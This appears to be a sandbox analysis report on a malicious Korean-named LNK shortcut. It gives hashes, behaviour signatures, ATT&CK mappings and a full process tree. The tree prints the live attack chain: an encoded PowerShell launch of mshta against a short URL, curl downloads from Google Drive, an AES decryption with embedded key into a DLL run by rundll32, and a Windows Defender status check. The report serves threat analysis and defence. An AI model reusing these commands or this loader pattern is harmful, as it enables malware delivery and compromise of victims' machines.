c04baa5b89c84edce0024b0071db80888a4d13b0439e8fcc728aab17d66bfaec

General

Target
암호.txt.lnk
Size 2KB
Sample260730-e328zsszgt
SHA256 c04baa5b89c84edce0024b0071db80888a4d13b0439e8fcc728aab17d66bfaec
MD5 88bd1ecd48231df7e15eb49c18087f2b
SHA1 b774554a6207dcaa31d03a85943552ad21e1b723
SHA512 9d9004bf0de7a569d9ffaca2d532b4b9fc9b21e2eec68b6fa41285c20a60670951ffbe3dbdcf140b521d9e5cee772ec07a077ff420911137d9be173c5ec62562
TLSH
T1605131161BE51369E373877667FAB245A622F820EA038AEC01C112442D50604F876F7F
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/NmKsd7

Signatures

Badlisted process makes network request 20 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4404	mshta.exe
5	4404	mshta.exe
6	4404	mshta.exe
7	4404	mshta.exe
8	4404	mshta.exe
9	4404	mshta.exe
10	4404	mshta.exe
16	4404	mshta.exe
17	4404	mshta.exe
18	4404	mshta.exe
19	4404	mshta.exe
20	4404	mshta.exe
21	4404	mshta.exe
22	4404	mshta.exe
23	4404	mshta.exe
24	4404	mshta.exe
25	4404	mshta.exe
26	4404	mshta.exe
30	4404	mshta.exe
31	4404	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	drive.google.com
32	drive.google.com
33	drive.google.com
40	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6008	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3176	cmd.exe
5584	cmd.exe
5284	cmd.exe
5100	cmd.exe
5780	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4684	powershell.exe
4684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5584 wrote to memory of 4684	5584	cmd.exe	90
PID 4684 wrote to memory of 4404	4684	powershell.exe	91
PID 4404 wrote to memory of 5284	4404	mshta.exe	93
PID 4404 wrote to memory of 5100	4404	mshta.exe	94
PID 5284 wrote to memory of 4732	5284	cmd.exe	97
PID 5100 wrote to memory of 6008	5100	cmd.exe	98
PID 4404 wrote to memory of 5780	4404	mshta.exe	99
PID 5780 wrote to memory of 5388	5780	cmd.exe	101
PID 4404 wrote to memory of 3176	4404	mshta.exe	102
PID 3176 wrote to memory of 1760	3176	cmd.exe	104

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	33	curl/8.8.0
HTTP User-Agent header	40	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIAAgACIAaAB0AHQAcABzADoALwAvAGwAaQBuAGsAMgA0AC4AawByAC8ATgBtAEsAcwBkADcAIgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/NmKsd7
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ" && password.txt
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5284
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ"
        5⤵
        
        PID:4732
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5100
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:6008
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5780
    - - C:\Windows\system32\curl.exe
        
        curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
        5⤵
        
        PID:5388
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,n
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3176
    - - C:\Windows\system32\curl.exe
        
        curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn"
        5⤵
        
        PID:1760

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4684-2-0x00007FF82C18F000-0x00007FF82C190000-memory.dmp

Download

memory/4684-5-0x000001DD7E9B0000-0x000001DD7E9D2000-memory.dmp

Download

memory/4684-6-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/4684-7-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/4684-8-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/4684-10-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/4684-11-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads